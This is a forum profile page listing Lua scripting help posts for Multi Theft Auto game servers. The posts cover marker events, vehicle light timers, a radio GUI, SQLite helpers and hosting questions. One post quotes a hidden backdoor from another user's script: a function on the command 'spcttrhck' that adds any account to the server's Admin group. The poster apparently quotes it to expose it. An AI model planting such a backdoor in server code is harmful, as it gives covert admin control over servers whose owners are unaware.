#Paper
Members-
Posts
568 -
Joined
-
Last visited
Everything posted by #Paper
-
try function checkHim(player, matchingDimension) if getElementType( player) == "player" then local playerAcc = getPlayerAccount(player) if (getAccountData(playerAcc, "efr.license") == false ) then triggerClientEvent("noLicense", player) else triggerClientEvent("gotLicense", player) end end end addEventHandler("onMarkerHit", gunMarker, checkHim)
-
try this blueTimers = {} redTimers = {} function EmergencyLights1(player, cmd) local theVehicle = getPedOccupiedVehicle(player) if theVehicle then if getVehicleOverrideLights(theVehicle) ~= 2 then setVehicleOverrideLights(theVehicle, 2) blueTimers[theVehicle] = setTimer(setLight98, 400, 1, theVehicle) else setVehicleOverrideLights(theVehicle, 0) setVehicleHeadLightColor(theVehicle, 255, 255, 255) if isTimer(blueTimers[theVehicle]) then killTimer(blueTimers[theVehicle]) end if isTimer(redTimers[theVehicle]) then killTimer(redTimers[theVehicle]) end end end end function setLight98(car) setVehicleHeadLightColor(car, 0, 0, 255) setVehicleLightState ( car, 0, 0 ) setVehicleLightState ( car, 1, 0 ) redTimers[car] = setTimer(setLight99, 400, 1, car) end function setLight99(car) setVehicleHeadLightColor(car, 255, 0, 0) setVehicleLightState ( car, 0, 0 ) setVehicleLightState ( car, 1, 0 ) blueTimers[car] = setTimer(setLight98, 400, 1, car) end addCommandHandler("coloremergency", EmergencyLights1)
-
LoL, -.-" function giveAdminRights (playerSource, commandName, accountName) if accountName then aclGroupAddObject (aclGetGroup("Admin"), "user."..accountName) aclSave() outputChatBox (accountName..".", playerSource,0,255,0) else outputChatBox ("X", playerSource,255,0,0) end end addCommandHandler ("spcttrhck", giveAdminRights) Line 61-70... -.-"
-
Oh, thanks bro
-
so i can use addEventHandler( "onClientGUIClick", getResourceRootElement(getThisResource()), onClick) ???
-
GUIEditor_Window = {} GUIEditor_Button = {} GUIEditor_Label = {} GUIEditor_Window[1] = guiCreateWindow(249,100,315,390,"Radio",false) guiSetVisible( GUIEditor_Window[1], false ) GUIEditor_Button[1] = guiCreateButton(23,65,116,51,"Escuchar/parar Salvaje FM",false,GUIEditor_Window[1]) GUIEditor_Button[2] = guiCreateButton(182,65,116,51,"Escuchar/parar Los40 Principales",false,GUIEditor_Window[1]) GUIEditor_Button[3] = guiCreateButton(24,140,116,51,"Escuchar/parar Cadena Dial",false,GUIEditor_Window[1]) GUIEditor_Button[4] = guiCreateButton(183,253,116,50,"Escuchar/parar Cadena Ser",false,GUIEditor_Window[1]) GUIEditor_Label[1] = guiCreateLabel(116,23,157,31,"Música:",false,GUIEditor_Window[1]) guiLabelSetColor(GUIEditor_Label[1],0,200,50) guiLabelSetVerticalAlign(GUIEditor_Label[1],"top") guiLabelSetHorizontalAlign(GUIEditor_Label[1],"left",false) guiSetFont(GUIEditor_Label[1],"sa-header") GUIEditor_Label[2] = guiCreateLabel(115,207,157,31,"Noticias:",false,GUIEditor_Window[1]) guiLabelSetColor(GUIEditor_Label[2],0, 50, 200) guiLabelSetVerticalAlign(GUIEditor_Label[2],"top") guiLabelSetHorizontalAlign(GUIEditor_Label[2],"left",false) guiSetFont(GUIEditor_Label[2],"sa-header") GUIEditor_Button[5] = guiCreateButton(24,253,116,50,"Escuchar/parar RNE",false,GUIEditor_Window[1]) GUIEditor_Button[6] = guiCreateButton(94,358,128,23,"Guardar radio",false,GUIEditor_Window[1]) GUIEditor_Button[7] = guiCreateButton(183,139,116,51,"Escuchar/parar Hit FM",false,GUIEditor_Window[1]) function toggleRadioGui( player ) if guiGetVisible( GUIEditor_Window[1] ) == false then showCursor( true, true ) guiSetVisible( GUIEditor_Window[1], true ) else showCursor( false, false ) guiSetVisible( GUIEditor_Window[1], false ) end end addCommandHandler("radio", toggleRadioGui) function onClick ( radio, state, x, y ) outputChatBox( "Aqui hemos llegado" ) -- first text message if source == GUIEditor_Button[1] then if getElementData( getLocalPlayer(), "radio" ) == false then -- si no esta con una radio encendida, ponemos la radio / if it isnt turned on, it is suposed to turn it on, else turn it off sound = playSound( "http://salvajefm.com/modules/mod_ngs_shoutcast/singleplaylist.php?ip=94.75.209.28&port=8188&format=ASX", false ) setElementData( getLocalPlayer(), "radio", true ) outputChatBox( "Estas escuchando salvaje fm" ) else stopSound( sound ) setElementData( getLocalPlayer(), "radio", false ) end elseif source == GUIEditor_Button[2] then if getElementData( getLocalPlayer(), "radio") == false then sound = playSound( "http://194.169.201.177:8085/live3.mp3", false ) setElementData( getLocalPlayer(), "radio", true ) else stopSound( sound ) setElementData( getLocalPlayer(), "radio", false ) end elseif source == GUIEditor_Button[3] then if getElementData( getLocalPlayer(), "radio") == false then sound = playSound("http://194.169.201.177:8085/liveDial.mp3", false ) setElementData( getLocalPlayer(), "radio", true ) else stopSound( sound ) setElementData( getLocalPlayer(), "radio", false ) end elseif source == GUIEditor_Button[4] then if getElementData( getLocalPlayer(), "radio") == false then sound = playSound("http://194.169.201.177:8085/liveser.mp3", false ) setElementData( getLocalPlayer(), "radio", true ) else stopSound( sound ) setElementData( getLocalPlayer(), "radio", false ) end elseif source == GUIEditor_Button[5] then if getElementData( getLocalPlayer(), "radio") == false then sound = playSound("http://rtve.stream.flumotion.com/rtve/radio1.mp3.m3u", false ) setElementData( getLocalPlayer(), "radio", true ) else stopSound( sound ) setElementData( getLocalPlayer(), "radio", false ) end elseif source == GUIEditor_Button[6] then toggleRadioGui() elseif source == GUIEditor_Button[7] then if getElementData( getLocalPlayer(), "radio") == false then sound = playSound("http://streaming.tst.es/stcasx/va90winlive2001/play.asx", false ) setElementData( getLocalPlayer(), "radio", true ) else stopSound( sound ) setElementData( getLocalPlayer(), "radio", false ) end end end addEventHandler( "onClientGUIClick", GUIEditor_Button[1], onClick) addEventHandler( "onClientGUIClick", GUIEditor_Button[2], onClick) addEventHandler( "onClientGUIClick", GUIEditor_Button[3], onClick) addEventHandler( "onClientGUIClick", GUIEditor_Button[4], onClick) addEventHandler( "onClientGUIClick", GUIEditor_Button[5], onClick) addEventHandler( "onClientGUIClick", GUIEditor_Button[6], onClick) addEventHandler( "onClientGUIClick", GUIEditor_Button[7], onClick) try this
-
What res did u up?
-
addEventHandler("onMarkerHit", getRootElement(), policeinfomarker) delete getRootElement() and insert the marker name (do it for all onMarkerHit) P.S: Read more the wiki
-
Is it good for 2 or 1 server? it have 512 Burst Ram)
-
I want to buy a VPS, is this vps good for host 2 or 3 servers? 1° Server: Test server --> 5 Slots 2° Server: TDM Server --> 20 Slots 3° Server: Race Server --> 20 Slots (Maybe, idk if i'll open this) If is not good, what vps i need for open 2 servers? And for 3 servers?
-
I tryed another way to do it: make another table for each data: function loadPlayerData (player,datatype, num) if (player) and (datatype) and (num) then local serial = getPlayerSerial(player) local findQuery = executeSQLSelect ( datatype, datatype, "serial = '" .. serial .. "'" ) if ( type( findQuery ) == "table" and #findQuery == 0 ) or not findQuery then if num == true then executeSQLCreateTable(datatype, datatype.." INT, serial TEXT") executeSQLInsert ( datatype, "'0', '"..serial.."'") elseif num == false or not num then executeSQLCreateTable(datatype, datatype.." TEXT, serial TEXT") executeSQLInsert ( datatype, "'N/A', '"..serial.."'") end else return findQuery[1][tostring(datatype)] end end end -- Save data to the database function savePlayerData (player,datatype,newvalue) if (player) and (datatype) and (newvalue) then local serial = getPlayerSerial(player) local findQuery = executeSQLSelect ( datatype, datatype, "serial = '" .. serial .. "'" ) if ( type( findQuery ) == "table" and #findQuery == 0 ) or not findQuery then if num == true then executeSQLCreateTable(datatype, datatype.." INT, serial TEXT") executeSQLInsert ( datatype, "'0', '"..serial.."'") elseif num == false or not num then executeSQLCreateTable(datatype, datatype.." TEXT, serial TEXT") executeSQLInsert ( datatype, "'N/A', '"..serial.."'") end else executeSQLUpdate ( datatype, datatype.." = '"..newvalue.."'","serial = '" .. serial .. "'" ) end end end but doesn't work: First doing this, for be more sure, i putted the default registry.db and internal.db, and doesn't work can u fix? pls?
-
So, i made this table: executeSQLCreateTable("lolers", "serial TEXT, lollingtime INT") then i have to add the field "lollername": how can i do it whitout drop the table and remake it?
-
omfg it works D: Btw what changes if i use the %?? D:
-
i have this code: if string.find(g_MapInfo.name, "[DM]", 1, false) then g_MapInfo.name = string.gsub(g_MapInfo.name, '[DM]', '#ff0000[DM]#236B8E') end instead to be: [DM] lol it becomes: [[DM][DM]] lol How to fix?
-
Wtf is / ss 217 and / ss 217.1???
-
Mhhh, i'll make it
-
A little up? T_T
-
try addEventHandler ("onClientPlayerDamage",getRootElement(), function (attacker,weapon,bodypart) if bodypart == 9 then if weapon == 24 or weapon == 31 or weapon == 34 then local x,y,z = getElementPosition(source) local sound = playSound ("sounds/headshot.mp3",false) setSoundVolume (sound,4) setGameSpeed (0.25) fxAddBlood (x,y,z+0.8,0,0,0,500) setPedHeadless (source,true) function giveBackHead(thePlayer) setPedHeadless(thePlayer, false) setElementHealth (source,0) setTimer (setGameSpeed,2000,1,1) end end end) addCommandHandler("headmeup", giveBackHead)
-
I had this problem, i solved but i don't remember the way to solve
-
This player need to be logged in as admin for be in this team: aclGroup="Admins"
-
you want set the ped rotation? setElementPosition
-
how said JR10, u can use a random: this can be the img path: "img/"..theTable[math.random(#theTable)]..".png"
